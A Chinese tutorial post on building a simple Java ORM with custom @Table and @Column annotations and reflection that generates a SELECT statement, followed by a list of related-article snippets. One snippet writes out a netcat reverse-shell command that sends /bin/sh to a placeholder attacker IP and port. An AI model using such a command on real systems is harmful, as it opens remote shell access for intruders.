基于java 自定义注解Annotation设计简单ORM框架——进阶篇

目录

  • 引言
  • 实例
    • 新建两个注解
    • 标注实体类
    • 拼接sql语句
  • 总结

引言

一般Java规范编程(只是一种习惯,而不是强制)中,变量的命名方式一般采用驼峰式命名。比如userName,userImage。但是在数据库中一般不会采用驼峰式,而是采用下划线_的方式,比如user_name,user_image,这里就利用自定义注解的方式去进行一个转换。注解分为两种:JDK自带注解和自定义注解,这里利用反射去构建SQL语句。

实例

新建两个注解

Table.java
将实体类注解为表

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;/*** @Description TODO* @Author liqinglong* @DateTime 2024-05-14 18:02* @Version 1.0*/
//Retention(RetentionPolicy.RUNTIME)这个注解是jdk自带注解表示可以使用反射
@Retention(RetentionPolicy.RUNTIME)
public @interface Table {//name参数String name();}

column.java
变量注解为列

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;/*** @Description TODO* @Author liqinglong* @DateTime 2024-05-14 18:03* @Version 1.0*/
//@Retention(RetentionPolicy.RUNTIME)这个注解是jdk自带注解表示可以使用反射
@Retention(RetentionPolicy.RUNTIME)
public @interface Column {String name();
}

标注实体类

UserEntity.java

/*** @Description TODO* @Author liqinglong* @DateTime 2024-05-14 18:04* @Version 1.0*/
@Table(name = "t_user")
public class UserEntity {//注解时传入需要的name@Column(name="user_name")private String userName;@Column(name="user_image")private int userImage;}

拼接sql语句

在Main函数中去利用这些注解进行反射得到我们想要的SQL语句了,这里只简单的写一个查询的语句,具体的其他语句类似。
Main.java

import java.lang.reflect.Field;/*** @Description TODO* @Author liqinglong* @DateTime 2024-05-14 18:08* @Version 1.0*/
public class Main {public static void main(String[] args) throws ClassNotFoundException {// 通过实体类的全路径拿到类的class字节码Class<?> forName = Class.forName("com.ruoyi.web.annotation.UserEntity");// 拿到类的成员属性Field[] declaredFields = forName.getDeclaredFields();StringBuffer sb = new StringBuffer();sb.append("select ");// 遍历成员属性for (int i = 0; i < declaredFields.length; i++) {// 拿到注解Column col = declaredFields[i].getDeclaredAnnotation(Column.class);//获取注解中的name值String col_name = col.name();sb.append(col_name);if(i == declaredFields.length-1) {sb.append(" from ");}else {sb.append(" , ");}}// 拿到Table注解Table table = forName.getAnnotation(Table.class);// Table注解的name值String table_name = table.name();sb.append(table_name);System.out.println(sb.toString());}
}

运行结果
select user_name , user_image from t_user
在这里插入图片描述

总结

控制台打印如下结果表示利用注解反射生成SQL语句成功。有时间的朋友可以自己实现增删改查的功能,无非就是把生成过程提出来然后传一些需要修改和指定的值进行操作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12326.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AIGC、LLM 加持下的地图特征笔记内容生产系统架构设计

文章目录 背景构建自动化内容生产平台系统架构设计架构详细设计流程介绍笔记来源笔记抓取干预 笔记 AIGC 赋能笔记 Rule 改写笔记特征库构建 附录Bash Cron 定时任务Golang 与 Pyhon AIGC 实践 小结 背景 在大模型的浪潮下&#xff0c;ChatGPT、Sora、Gemini、文言一心 等新技…

js sleep 实现方式

在JavaScript中&#xff0c;由于其单线程和事件驱动的特性&#xff0c;没有直接的sleep函数&#xff0c;但你可以通过一些方法模拟出类似的效果。最常见的方式是使用setTimeout或者setInterval&#xff0c;以及更现代的Promise和async/await语法来实现异步等待。下面是几种实现…

[MRCTF2020]PixelShooter

是个安卓游戏题 re手肯定不会去玩游戏&#xff0c;先jadx分析一波 没有什么关键信息&#xff0c;但找到了一个unity类&#xff0c;想到apk也可以解压缩得到 .so 或者 Assembly-CSharp.dll 故又在dnspy分析一下 看了半天没有和flag有关信息&#xff0c;看wp&#xff1a; Asse…

知识付费系统开源方案,教育机构如何利用朋友圈做转介绍?

招生成本高&#xff0c;效果差让许多教育机构头疼不已。对于教育机构来说通过转介绍招生是一个非常有效的途径&#xff0c;那么教育机构如何利用朋友圈做转介绍呢?今天小编就来和大家分享一下。 利用朋友圈做转介绍&#xff0c;主要是通过做活动&#xff0c;来完成增加粉丝、扩…

用面向对象的思想编写实时嵌入式C程序

实时嵌入式系统的软件一般由C语言编写&#xff0c;程序结构基本上都是这样的&#xff1a; // 主程序 int main(void) {init(); // 初始化while(1){tick(); // 业务逻辑}return 0; }// 计时器 static unsigned int g_timer_tick_cnt 0; // 时钟中断回调 void isr_time…

【工作篇】软件工程师的知识基础(持续更新)

目录 1. linux 知识篇 1. linux 知识篇 1. Linux API 是什么 Linux API 是指 Linux 操作系统 提供的应用程序接口&#xff0c;用于与操作系统进行交互。它包含了一系列的函数、系统调用、库函数和数据结构&#xff0c;用于实现各种系统级的操作&#xff0c;如文件操作、进程…

C++ 练习题四道 hv-LDM

1.判断两个日期间的天数 class test { public:int y, m, d, x;test(){y 2023, m 3, d 1, x 3;}test(int yy, int mm, int dd){y yy;m mm;d dd;}void ReturnWeekDay(){int iWeek 0;int Y 0, C 0, M 0, D 0;if (m 1 || m 2){C (y - 1) / 100;Y (y - 1) % 100;M …

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

段合并排序算法(附代码)

文章目录 前言一、题目二、代码总结 前言 学无止境&#xff0c;笔勤不辍。今天更新一道作业题好多人都被困住了&#xff0c;笔者也花了一些时间…后续会附上详细解释 使用的是python 一、题目 段合并排序算法&#xff1a; 将数组划分为n1/2个子数组&#xff0c;每个子数组有n…

高等代数复习:同构定理

文章目录 同构定理 本篇文章适合个人复习翻阅&#xff0c;不建议新手入门使用 同构定理 接下来我们要证明如下几个同构定理 定理&#xff08;线性映射同构定理&#xff09; 设 φ &#xff1a; V → V ′ \varphi&#xff1a;V\to V φ&#xff1a;V→V′ 是一个线性映射&…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

ScientificLinux/Centos/RedHat老版本离线安装gcc、g++记录

背景 最近有一台ScientificLinux6.3的机器需要使用gcc和g编译安装包&#xff0c; 因为在公司内网环境&#xff0c;而且软件仓库也停止维护&#xff0c;好在官方仓库中有老版本的归档目录&#xff0c; 在此记录下安装过程&#xff0c;centos和redhat也同样适用。 步骤 下载rp…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

14030.ZynqMP配置vlan与ubuntu虚拟机(PC)进行通信

文章目录 1 场景描述2 zynqmp 开发板配置vlan2.1 配置内核2.2 配置vlan地址3 windows 配置网卡vlan标签3.1 网卡配置vlan标签3.2 开发板与windows进行ping连接4 ubuntu配置vlan4.1 ubuntu配置桥接,使用同样的物理网卡4.2 开发板ping 虚拟机5 VLAN的pcap与普通的pcap的区别1 场…

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

3D,点云平面拟合

文章目录 一、RANSAC平面拟合1、原理2、伪代码二、最小二乘平面拟合1、原理2、伪代码参考资料三维空间中,平面方程的一般表达式为: A x + B y + C z + D =

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …